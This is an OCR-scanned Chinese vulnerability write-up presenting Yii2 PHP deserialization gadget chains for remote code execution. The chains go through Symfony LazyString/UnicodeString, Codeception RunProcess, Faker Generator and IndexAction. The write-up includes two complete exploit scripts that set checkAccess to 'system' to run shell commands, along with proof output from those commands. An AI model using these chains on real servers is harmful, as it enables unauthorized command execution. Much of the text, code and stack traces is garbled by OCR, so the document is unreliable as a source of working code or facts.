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. SEREFER

£BEHEER_ wakeup FREL, WT:



fUsers/admintony/temp/a -/FnStream.php:

public function [ wakeup()

{
throw new \LogicException('FnStream should never be unserialized'});

/Users/admintony/temp/ap ndor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassMirror.
' _destruct’,
' _sleep’,
'_wakeup',

__toString’,

'_call',

/Users/admintony/temp/app/vendor/swiftmailer/swiftmailer/li ass ift/Character erFactory/SimpleCharacterRe

public function | wakeup()

{
Sthis-=init();
fUsers/admintony/temp/app/vendor/swiftmailer/swiftmailer/1ib/classes/Swift/Encoder/QpEncoder.php:

public function | wakeup()

{

if (lisset(self::$safeMapShare[$this->getSafeMapShareld(}])) {

/Users/admintony/temp/app/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Message.php:

public function | wakeup()
{

Swift_DependencyContainer::getInstance()->createDependenciesFor('mime.message');

temp/app/vend mfony/string/UnicodeString. php:

public function [ wakeup()

{
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);

sers/admintony/temp/app/vendor/yiisoft/yii2/db/BatchQueryResult.php:
* @since 2.0.38
*/
public function |_wakeup()

{ ? —
throw new \BadMethodCallException('Cannot unserialize ' . _ CLASS_); 0“'3&% /k

11 matches across 9 files




_wakeug Q)]

normalizer_is_normalized( > I > nor‘rnallzer‘_nr_'ur'-ma%[}]|£§%ﬁi

2 \ symfony\string\UnicodeString 25, E wakeup 5Z+ERT
normalizer is normalized /3%,

Normalizer:isNormalized
normalizer_is_normalized

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)
Normalizer:isNormalized -- normalizer_is_normalized — Checks if the provided string is already in the specified normalization form

iBA
EEMRME

public static Normalizer::isNormalized ( string $input [, int $form = Normalizer::FORM_C ] ) : bool
UEELIATE

normalizer_is_normalized ( string $input [, int $form = Normalizer::FORM_C ] ) : bool

& NEZEEY

4
—

Checks if the provided string is already in the specified normalization form.

ZIEEKRENNHABTEFRE. B $this->string A%, IBAREKEI—KH_ toString J5i&
MISERYFI FRBERD AT,

£BEE_toString 75i%, SHAURANR, &EZHE:



ERREZhER 100+ MR in 101+ P B (K)

function __toString\(\)

EMEF(P) #HR(M) HBHR([D) EE(S) [Users/admintony/temp/app

function _toString QAU

function __toString )3 ULE]

function __toString (AT

function __toString (EIGLL

function __toString (AU

function _toString QUL
(s function __toString(): LazyString.php 9€
LazyString.php

string
__toString()

(\is_string(

)0
(\Throwable
(\TypeError:: === \get_class($e) && ->getFile())
= explode( ->getMessage())
= substr(array_pop( )

($this->value)() XFI,, RREIETIE, ARLES IndexAction 250 run AR AR
T FEgE.



ActiveDataProvider
run()
->

call_user_func(

->prepareDataProvider()

& | =R LHRA

B F g

\yii\rest\IndexAction->run()
\symfony\string\LazyString->__toString()
\symfony\string\UnicodeString->string
normalizer_is_normalized()

\symfony\string\UnicodeString->__ wakeup()

2. f3i1E payload

o SCAIE \ yii\rest\IndexAction 2§, I®EH $checkAccess &, $id ZT=EF0 $config

IREL
e

o 3K \ symfony\string\LazyString 25, Z&H $value ZEA IndexAction 3570
run 7555048

o SIfA{E \ symfony\string\UnicodeString 2§, 1&EH $string ZE(E A LazyString

N2

Ko



=& Exp:

<?php
namespace Symfony\Component\String{
class UnicodeString{
public $string;
}
class LazyString{

public $value;

}
namespace yii\rest{
class IndexAction{
public $id;
public $controller;
public $config;

public $checkAccess;

}

namespace {
//use Symfony\Component\String;
//use yii\rest;
//1, "\yii\web\Controller', [ 'modelClass '=>"\yii\db\BaseActiveRecord']
$indexAction = new yii\rest\IndexAction();
$indexAction->id = ‘whoami'; // EHHATTHIRE A, Ziwhoami
$indexAction->controller = '\yii\web\Controller';
$indexAction->config = ['modelClass'=>"'\yii\db\BaseActiveRecord'];
$indexAction->checkAccess = 'system'; // [BHITHIRFE, Yisystem
$lazyString = new Symfony\Component\String\LazyString();
$lazyString -> value =[$indexAction,"run"];
$unicodeStringObj = new Symfony\Component\String\UnicodeString();
$unicodeString0Obj->string=$lazyString;

var_dump(base64_encode(serialize($unicodeString0bj)));



R

root

An Error occurre
yii\web\HeadersilreadySel
Stack trace:

idling another error:

#1 /Users/admintony/temp/app/vendor/yiisoft/yi rrorfandler.php(l36): yii\web\Response->send()

#2 /Users/admintony/temp/app/vendor/yiisoft/yii2/base. ndlor.php(135): yii\web\Errordandler->renderException(Object(yii\base\Errorgxception))
#3 /Users/admintony/temp/app/vendor /yiisoft /yii2/base/Erroriafier.php(245): yii\base\Errorfiandler->handleException(Object (yii\base\ErrorException))
#4 [(internal function]: yii\base\ErrorHandler->handleError(256, "Erzor: Class na...', '/Users/edminten...', 116, Array)

#5 /Users/admintony/temp/app/vendor/symEony/string/LazyString.php(116): trigger error('Errer: Class na...', 256)

#6 /Users/admintony/temp/app/vendor /symfony/polyfill=intl-normalizer/Normalizer.php(47): Symfony\Component\String\LazyString=>_ toString()
#7 /Users/admintony/temp/app/vendor/symfony/polyfill-intl-normalizer/bootstrap.php(15): Symfony\Polyfill\Intl\Normalizer\Normalizer
#8 /Users/edmintony/temp/app/vendos /symEony/string/UnicodeString.php(350): normalizer_is_normalized(Object(Symfony'\Component\String\LazyString))
#9 [internal function]: Symfony\Component\String\UnicodeString->_ wakeup()

#10 /Users/admintony/temp/app/controllers/SiteController.php(18): unserialize(’0:38:"Symfony\\C.
#11 [internal function]: app\controllers\SiteController->actionSay('Tzoz0Doildletmd..." )

#12 /Users/admintony/tesp/app/vendor/yiisoft/yii?/base/InlineAction.php(57): call user func_array|Array, Array)

#13 /Users/admintony/temp/app/vendor/yiisoft/yiiZ?/base/Controller.php(180): yii\base\InlineAction=>run¥ithParams(Array)

#14 /Users/admintony/temp/app/vendor/ylisoft/yiiZ/base/Module.php(528): yii\base\Controller->runhction('say', Array)

#15 /Users/admintony/temp/app/vendor/yiisoft/yii2/web/Application.php(103}: yii\base\Module->runhction('site/say’', Array)

#16 /Users/admintony/tesp/app/vendor/yiisoft/yii?/base/Application.php(386): yii\web\Application->handleRequest|Object |yii\web\Request)) -~
#17 /Users/admintony/temp/app/web/index.php(12): yii\base\Application->runi)

#18 {main}
Previcus exception:

)

Yii {EZRRF5{t RCE FIF!

Author:AdminTony

2RI, £87TTHRE, RIEEBIMEEFERRERT T,

. 33 destruct 5%

F#k_ destruct FARMEEE TR/ LR

n: Headers already sent in (/Users/admintony/temp/app/vendor/yiiscft/yii2/rest/IndexAction.php on line 79. in /Users/admintony/temp/app/vendor/yiiscft/yii2

Normalized (Object { Symfony\Component\String\LazyString

i 3 (Oday)



° iZ_destruct Eiz_licpx%?:?ﬁ call user func(§this—>test, [$this—>arr]) E‘Z% $this—>test() %'éﬁg
HIRT =R EN

° iZ_destruct FERIETEF, BIZE sthisoreader—>getUser 0 REIAEAR, LB ERR
BEIRIZEE T
o X getUser B¥%Y, 1Bid getUser RREFREI—FRAMHITFIAHE

o H_call S8, BT call FEHEI—RAIHITRIAES

o 1%_destruct HRIIET, SHEMAEMENLREL, LN test (this>tests) test BREY
FRIEN String REISHES, WRFANRERY swhisorests B—DK, NEBHBRAZ
M9 toString /5%, REM__toString FHEI— MR FFICE FEEE.

FEXLRER, FBusik.
vendor/codeception/codeception/ext/RunProcess. php 1*E{E§}:%E%%Z

__destruct()

->stopProcess()

stopProcesi()
(array_reverse(
Y

Process
(! ->isRunning()) {

->debug( - ->getCommandLine())
->stop()

[1

& ) I =RLHRA




destruct Tj_;fq:'ﬂ%.”zﬁT stopProcess Tj_if, izjj_iz_‘f $process E_H:?E, }\Aﬁﬁﬂéﬁz $this—>reader-
sgettser() SKENER, BATRTIASHE isrumnine REEOARTDIEABIRERE o1 REOARIBHITIE
JIEHR.

. FHHR

vendor/fzaninotto/faker/src/Faker/Generator. php 'f‘%ﬁ%H‘Eﬁ :

__call(

->format( )
b || =R LHPA

EE& format @éﬂ .

format(

call_user_func_array( ->getFormatter( é@]ll‘g%ﬁ}\
-

j:jzgu call user func array , ﬁﬁﬁﬁ{fjﬂﬁﬁé@iﬁ $this—>getFormatter ($formatter) E’\Jéﬁ%éﬁﬁ]}ﬁ’fﬁﬁ’ﬂ
EREGRN ],



getFormatter(

\InvalidArgumentException(sprintf( ?Q J | |£}"{é|}*

BHEUE,  Sthis>formatters[ iskunning' 1 IR ENBEHITAIREEIRT, M sargunents B IATTIE,
HEHEN—PISMEEL, BB [Gev test), “run”] XEERGEFSSINA SRS HIT,

IE)QU call user func[ \w+]*\ (\$this—>[ \$\wlx*, \s*k\$this—



call_user_func($this->checkAccess, $this—L|
call_user_func($this->checkAccess, $thisL|
call_user_func($this->checkAccess, $thisJL| ) JpdateAction.php 4
icall_user_func($this->checkAccess, $this—-4s B {11 I E rest/ViewAction.php 31

ViewAction.php
Vv1iewActTion ACT10N

£
i

run(

= ->findModel(
( -> 1Al

call_user_func( ->

J‘Zﬁﬂ’\]ﬁjﬁﬁ%ﬂﬁﬂﬁﬁ\ IndexAction ﬂ:l CreateAction

RABREREIRTF: vendor/yiisoft/yii2/rest/IndexAction.php



run()

-> ) A

kall_user_func( ->

->prepareDataProvider()

R ||| ZRLHPA

MITFZR— R 514 RCE FIF3HE.

3.Exp R5

HIL Exp RETE—IERERBANE. SITRIERESEE controller BEEBERZLAULFIFEHER
EHELDZE, RIERISDIT  construer 7334, BIEARIE, BIEHERFERZ—EREH
parent::__construct TREHENINY, ERXMABEKRIFNDNNMEEREREN T—1K, ARG
BrERNEEAEF, T, XNGERRNTFHE, BtEARE_ construct 57&7,

I TIXAZIRYE, FFIaHT EXP:

<?php
// RunProcess->stopProess ->> $process->isRunning() -->> Generator->__call ->> IndexAction->run
namespace Codeception\Extension{

class RunProcess{

public $processes;

}



namespace Faker{

}

class Generator{

public $formatters;

namespace yii\rest{

}

class IndexAction{
public $checkAccess;
public $id;

}

class UpdateAction{
public $checkAccess;

public $id;

namespace {

//%$indexAction = new yii\rest\IndexAction( 'whoami',1,["modelClass"=>"'BaseActiveRecord']);

$indexAction = new yii\rest\IndexAction();

$indexAction->id = 'ls -al‘';

$indexAction->checkAccess = 'system';

$generator = new Faker\Generator();

$generator->formatters = ["isRunning"=>[$indexAction,"run"]];
$runProcess = new Codeception\Extension\RunProcess();
$runProcess->processes = array($generator);
//$runProcess->setProcesses (array($generator));

var_dump(base64_encode(serialize($runProcess)));



total 40 drwxr-xr-x 9 AdminTony staff 288 9 15 06:06 . drwxr—xr-x 20 AdminTony staff 928 8 19 19:00 .. —rw-r——r— 1 AdminTony staff 117 9 16 06:06 htacoess drwxrwxrwx 6 AdminTony staff 192 9 19 17:49 assets drwxr—xr—x 3

AdminTony staff 96 9 15 06:06 css —rw-r—-r-~ 1 AdminTony staff 318 9 15 06:06 favicon.ico =rw=r==r== 1 AdminTony staff 488 9 15 D6:06 index-test.php —rw=r-

AdminTony staff 23 9 16 06:06 robots.txt

An Error cccurred while handling another error:

yid\web\HeadersAlreadySentException: Headers alrsady sent in /Users/admintony/temp/app/vendor/yiisoft/yii2/rest/Indexhction.php an line 79

Stack trace

#0 JUsen enp/app. yiisoft/yiild/web/Re hp(339)1 yii P ]

#1 /Usexrs/adnintony/tenp/app/vendor/yi1soft/yiid /web/Erroriandler php(136) ¢ yiliveb\Response->send()

#2 /Users/adnintony/tenp/app/vendor /yiisoft/yii2/base/Exrortandler phpi138) 1 yii\web\Errorfandler->renderExcept ion(Object (Errar) )

#3 [internal function]: yii Lon(Objest (ExTor))

#4 {main}

FPravious enception:
name

Errors Cla must be a valid object or a string in /Users/sdmintony/temp/app/vendor/yiisoft/yiid/rest/Indexhction. php:ll4
Stack trace:

#0 /Users/adnintony/tenp/app/vendor/yiisoft/yii2/rest/IndexAction.php(82): yii\rest\Indexh
t

ider()

#1 |internal function]: yii\n tion->run()

#2 /Users/adnintony/tenp/app/vendor /| fakaz .php(231): call_user_func_srzay(Asray, Array)

#) /tsers/adnintony/ tenp/ app/ vendar i faker/sre/ php{208) 5 "isRunning', Arcay)
#4 /users ‘tenp/app/" ext, 110): Faker' »__call{ 'iskunning’, Array)
#5 Juser tanp/app. i o i he(103) ¢ Cod i ¥

#6 /Uners/adnintony/tenp/app/control lers /81 teControl Ler php(23) ¢ m.c.mmn\nun.mn\m"nn..-» destrust()

#T [internal fURCEion]: APP\COALrOllers\SiteController->actionsSay(’ TZoEM)olQI9KEWN.
#8 /users/adnintony/tenp/app/vendar/yiisoft /yii2/base/Inlinehction php(S7): call user m: array(hrray, Arra
#5 /Uners/adnintony/tenp/app/vendor /yiisoft/yii2/base/Controller . php(160) : yiiih
#10 /Users/adnintony/tenp/app/vendor/yiisoft/yii2/base/ Modul

n. tion->runiithParans (Array)
php(528) 3 1LL\bul\Con=mlllr-’runﬂ:txuu[ say', Array)

#11 /Users/adnintony/tenp/app/vendor/ylisoft /yii2 fwab/Applicat np{103): don('site/say’, Array)
#12 /Usecs/adnintony/ tenp/opp/ vendor/yLisoft/yii2 /base/Application. phpi 86} ¢ yii\-vb\hmlic-\ Request (Object (yii
#13 fUsers/sdnintony/temp/app/web/index.php(12}1 yii\base\npplicatisn=>run(}

#14 {main}

= 1 AdminTony staff 367 8 15 06:06 index php -rw=r-=r-= 1

. in /Users/admintony/temp/app/vendor/yiisoft/yii2 web/Response . php: 366




